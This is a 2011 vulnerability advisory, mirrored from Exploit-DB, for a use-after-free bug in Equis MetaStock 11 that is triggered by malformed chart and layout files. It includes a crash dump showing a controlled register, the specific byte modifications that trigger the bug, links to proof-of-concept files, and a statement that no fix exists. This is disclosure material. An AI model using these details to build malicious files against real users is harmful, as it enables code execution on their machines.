Equis MetaStock 11 – Use-After-Free

  • 作者: Luigi Auriemma
    日期: 2011-09-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17836/
  • #######################################################################
    
     Luigi Auriemma
    
    Application:Equis MetaStock
    Home
    Versions: <= 11
    Platforms:Windows
    Bug:use after free
    Exploitation: file
    Date: 06 Sep 2011
    Author: Luigi Auriemma
    e-mail: aluigi@autistici.org
    web:aluigi.org
    
    
    #######################################################################
    
    
    1) Introduction
    2) Bug
    3) The Code
    4) Fix
    
    
    #######################################################################
    
    ===============
    1) Introduction
    ===============
    
    
    MetaStock is the most used and awarded software for performing
    technical analysis of stocks, futures, forex, commodities, indices and
    other financial instruments.
    
    
    #######################################################################
    
    ======
    2) Bug
    ======
    
    
    All the files supported by MetaStock (mwc/mws charts, mwt templates and
    mwl layout) cause an use-after-free vulnerability exploitable through
    invalid and malformed files:
    
    eax=41414141 ebx=73eccedd ecx=01028620 edx=00000004 esi=010283c0 edi=0012e748
    eip=00486378 esp=0012deb0 ebp=0012e754 iopl=0 nv up ei pl nz na po nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202
    Mswin+0x86378:
    00486378 ff5004calldword ptr [eax+4]ds:0023:41414145=????????
    
    Modified bytes:
    0000308B 1E 40
    00003214 74 41; eax 0x41414141 on Windows 2003 Server
    00003215 69 41
    00003216 76 41
    00003217 65 41
    
    
    #######################################################################
    
    ===========
    3) The Code
    ===========
    
    
    http://aluigi.org/poc/metastock_1.mwl
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17836.mwl
    
    
    #######################################################################
    
    ======
    4) Fix
    ======
    
    
    No fix.
    
    
    #######################################################################
    
    PowerShell